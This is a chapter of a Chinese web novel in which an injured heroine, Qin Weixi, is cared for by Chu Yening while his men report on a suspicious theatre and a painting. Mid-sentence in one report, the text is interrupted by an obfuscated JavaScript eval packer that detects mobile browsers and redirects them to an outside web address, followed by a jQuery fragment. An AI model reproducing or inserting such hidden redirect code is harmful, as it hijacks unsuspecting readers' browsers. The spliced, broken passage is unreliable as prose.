默认冷灰
24号文字
方正启体

44. 四剑客

作者:芍药与鹿本书字数:K更新时间:
    小荷为秦惟熙在肩胛处上了药,雀舌拿来干爽的衣裳帮她换上,眼睛滴溜溜的在她面上看个不停。


    “姑娘,还疼不疼?这衣裳属下没穿过,您先将就着。”


    “这就很好。”秦惟熙想着适才擦肩而过的木童有些心不在焉,一开口声音嘶哑,嗓子干干的。


    她话音方落,褚夜宁已快步走了进来。


    雀舌扭身看着他。


    他一手拿起桌上的瓷壶倒了一杯水,对雀舌道:“去取汤匙来。”


    雀舌应是,忙取了来。她看向床榻上的姑娘,想了想道:“侯爷,我来喂姑娘吧。”


    褚夜宁递水的手停在半空中,冷眼投过。而后薄唇抿成一条直线,丝毫未曾犹豫地再向前靠近一点,并对雀舌道:“等九曲回来,让他去书房见我。”


    秦惟熙看着递到嘴边的水,神情略微地有些不自在,她掠过汤匙,欲伸手接过水杯,却看见两手皆缠着伤巾,而痛感还是很强烈,不禁口中发出“嘶”地一声。


    这水她也不是非喝不可。


    雀舌抬眼瞥瞥二人,蓦地想起那日在霞光顶山脚下九曲的痴语,忙应是,拉起小荷溜了出去。


    “别动。”他骨节分明的手握住杯身,“什么时候这般拘束了?小时候......”他忽而转移话题:“为何徒手握刀?傻了不成?”


    “是裴青?还是姜元馥?”


    “这几天勿要碰水!”


    他一连说了三句话,不同于年少时的桀骜不羁,而今话语间多了许多地沉稳。


    “我可没有那么傻。方才那个节骨眼上,不是你伤就是我伤。你哪里腾得出手去招架他?我看那贼子歹毒,似乎很想要你的命,总比你背中一匕,生死攸关的好。”她冷然地看着他,忽而一笑:“四哥,你树敌了吗?让你初归京城就遭此大难。”


    他轻轻挑眉,这话怎么有点耳熟。他蓦地想起那日观星楼后,他们在御花园“偶遇”,二人的一番谈话。


    果然睚眦必报。不是个会吃亏的主儿。


    褚夜宁道:“我的身后有你在,我怕什么?”他轻轻挑眉,目光向她肩部移去:“那这是怎么一回事儿?”随即看向她的鬓间,那缺失了的发簪。


    秦惟熙循着他的眸心中知意,也不隐瞒:“那是我的武器,我总是要学会自保。”却并不答他所问。


    “四哥,卧雪阁的戏曲好听吗?”


    他失笑,眼中的阴霾渐渐散去,冥冥间多了点点柔和。恍若山林中口渴的野兽,疾驰在山林中寻找一方水源,却见到了一股瀑布直泄而下,水落池中,一股世人眼中久旱逢甘雨的心情,似有一些欣喜。却也同她一样答非所问:“可还要喝水?”


    秦惟熙对上一双目光灼灼的眼睛,偶然间瞥向他颈间的血痕,问:“你受伤了?”


    这时府中厨娘站在房门外等候,手中端着一碗热汤面与方煎好的汤药,看着褚夜宁投来的目光,她恭敬道:“侯爷,董郎中说做一些滋补的汤药给姑娘,奴做了一碗热汤面,汤面里也放了董郎中送来的滋补的药材。”


    秦惟熙听见熟悉的声音,伸出了头去看门外。这个厨娘年少时她在褚府里见过,而今一别十年重回故土,重逢旧人她觉得有些亲切。


    褚夜宁走出去接过那食盘,道:“劳烦姑姑了。”


    阮姑姑一怔,还是问:“姑娘手受伤了,可需要奴来喂她吃一些?”


    褚夜宁道:“姑姑去忙吧。”


    厨娘依言退下。


    他看着桌上的一碗面与一碗汤药,问榻上的人:“是先喝水?还是先把药吃了,吃过了药再吃面?”


    秦惟熙看着他,她确实口渴了,早上在府中吃了些璞娘特意为她腌制的小菜,想了想,这么久过去,只在饭桌上喝了一些热汤,而这大半的时间,她也的确有些饿了。


    她向外去看,不见雀舌的影子,想着吃面条的吸溜吸溜声,她还是拒绝了。


    她看着桌上那碗黑漆漆的汤药:“我自己来。”


    他嘴角噙着一抹淡淡地笑意:“你确定?”


    她瞥了眼他手中的汤匙,脑中想着他喂它一勺一勺喂水喂药的画面:“不要那个。先吃药!”


    他勾起嘴角笑了笑,放下水杯,又走到桌上去取来汤药,送到了她的唇边,很快咕咚咕咚一饮而尽。


    褚夜宁问:“要不要吃颗蜜饯?不苦吗?”


    秦惟熙摇摇头,比起十年过往她曾经历的一切,对现在的她而言,这苦口的汤药也是甜的。她道:“你去上药吧。”


    见此,他又转身欲取来汤面,秦惟熙忙道:“我不吃面!”


    外间想起脚步声,再然后是雀舌的轻咳声,秦惟熙想起了木童,褚夜宁忽而回身望向她,紧接着弯下了身,凝视着她。突然靠近,咫尺之距,他问:“你有没有觉得方才那个人很眼熟?”


    她向后退了退,睁着明眸:“谁?”故作不解。


    褚夜宁挑着眉,笑而不语,可眼角眉梢间,尽是欢愉的神态。他开口问:“还疼不疼?有没有好些?”说话间他已然一手伸了过来,再用大拇指得指腹为她擦去嘴角留下的药汁。


    秦惟熙垂下了眸,她方才喝得有些急。她道:“我累了,我要自己歇息会。四哥快去忙。”


    然而,床榻前的人依旧未动,一双桃花眼不知在何时,彷佛就像春日的桃花林里忽而骤降一场淋漓的春雨,留下氤氲一片。


    他迟疑片刻后才转身离去,一边走一边吩咐在外的雀舌:“那桌上有碗汤面,喂她吃一些吧。”


    九曲早已在书房内等候,见到褚夜宁拱手行礼,垂着头道:“侯爷,没追上......他跟个猴儿一样,一眨眼的功夫就不见了。”


    褚夜宁:“也没指望你追上。”


    九曲:“......”


    褚夜宁轻抬眼皮看他。”


    九曲打了个激灵,勉强扯起嘴角道:“侯爷......没成想,没成想罗姑娘与公主殿下出现在那儿。”


    “本想着侯爷您会受重伤。这苦肉计没施成。”


    褚夜宁问:“如何了?”


    九曲忙敛了神色,恭声回:“没什么异常,属下派了两拨人盯着。只不过侯爷,我们刚出了卧雪阁就来了一伙儿人追杀,这人是不是脑子不太好?好家伙一个刺杀!”


    “人都死了?”褚夜宁再问。


    九曲点头:“那些巡逻的士兵赶到的时候无一活口。不过侯爷您方归京城就碰上遇刺,到底是他们监管不严。有些人今儿可要睡不好觉了。”


    褚夜宁指了指书案上的清茶:“先喝口茶润润嗓。”


    九曲道谢,端起茶盏咕咚咕咚一饮而尽,再道:“的确如松阳所言这卧雪阁乃十三年前兴起,这戏馆的前身本是一家不起眼的饭馆,平日里生意也不大好。每逢雨雪天,檐顶就开始向下滴水,时间久了房子里多是霉气。”


    “那饭馆老板急着带妻女回老家,低价五百两转给了一牙人,要知道当年街市里好一些地段的普通民宅还要几百两,更何况是这闹市区。那牙人又花了钱财将那里外重新粉饰了一番,竟狮子大开口,开价四千两售卖。许多富商一听这价格,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264448|181192||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    便有些犹豫,这么托着便是两年之久。”


    “那牙人悔不当初,将那座房屋降价到了一千两,不想有个常走南闯北的老茶商相中了那里,想晚年安顿在此,开间茶馆,遂果断定下。那牙人贼心不改,就地涨价了一千两百两,并邀了那茶商吃酒。那茶商醉酒,牙人趁机将那茶商身携的三千两银票悉数偷走。所以那房子当年还在那牙人名下,直到后来茶商上告衙门,又结交当地世家,世家出力多方通融,才将那屋舍名正言顺的转到那茶商名下。”


    “只是那茶商,也许是为了此事,一直吊着一口气,此事了,也就没有了斗气,一夜病发而亡。那茶商无妻无子女,也不知老家在何处,一筹莫展时,一个自称为他义子的人携了一千二百两银票重新将这间屋子买下开了戏馆,官府想速决这麻烦事,当即应允。”


    “据说当年这茶商很疼爱这个义子,养尊处优,恨不得捧在手心里。只不过当年的街坊听说这义子鲜少外出。如今也年过五旬,戏馆看客与左邻右舍都唤他一声方三爷。属下听那些街坊口中提起这位方三爷都很是敬重,说这个方三爷为人友善,经常救济帮助他们这些贫苦百姓。”


    “这方三爷寻常都待在外宅里钓鱼吃酒、泛舟游湖,并不出宅。”


    “还有之前这戏馆失火烧死了几个怜人。听人说起倒是有个叫白笙的很得馆主看重,每次都是第一个出场,一曲儿过后便老老实实地回住处歇息,再不出来。只知当年是个小乞丐,无从知晓户籍,后被那方三爷收留。再后来也随着那场大火烧死了。”


    “至于......”他说到此处摇了摇头。


    “第一个出场?”褚夜宁在听到此处时嘴角勾了勾。


    九曲在心中盘算了小半晌,眼中闪过一丝不屑:“这位方三爷怎么看,这脑子似乎都有些问题。”


    松阳这时进了书房,拱手行礼:“侯爷。”


    “说。”


    “那日梁书文幼子加冠礼上果然发生了一些小状况。”松阳将那日诸事开始娓娓道来。


    褚夜宁的眸色越来越暗。


    少顷,他再问九曲:“老陶可有受伤?”


    九曲眨眨眼:“就是刮破点皮儿。”


    褚夜宁颔首:“待会你去送些董郎中研制的药。”


    九曲问:“他要是扔出来怎么办?属下瞧他气得可不轻。”


    “那你就再送!”


    褚夜宁又问松阳:“庄世俊可有消息?”


    松阳摇头:“还未。”


    正此时,有小厮来禀,罗聆带着罗远入了靖宁侯府,褚家三叔奶奶也骤闻消息来此。雀舌相继而来,道:“侯爷,姑娘已经下了塌,三叔奶奶听姑娘是因护侯爷您受了伤。亲自为她吃的药。但姑娘执意要回罗府。”


    褚夜宁迟疑片刻笑了笑,吩咐九曲将董郎中的徒儿一并交给罗聆,明意待人伤好后再归。


    松阳与九曲二人正欲退下,松阳忽然想起一事,向前禀道:“侯爷,还有一事,是前几日周侍郎府送来的请帖,当日属下已照您吩咐备好重礼今晨送出。”他重回正题:“今日他夫人生辰,周大人向宫中请了假,在府办起了画展。一自称江湖侠客的青年人,欲拿画换画。那周大人醉得不太清醒,当即就让府中家丁给他换了。”


    “过后有人问起了这幅画,周府家丁呈上,却是秦家老国公当年所绘的登高望远图,据说是四大家骑着马、一同望着远山的画作。”


    “叫——四剑客!”


    褚夜宁霍地起身。


    九曲讶道:“难不成这秦家真还有人?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)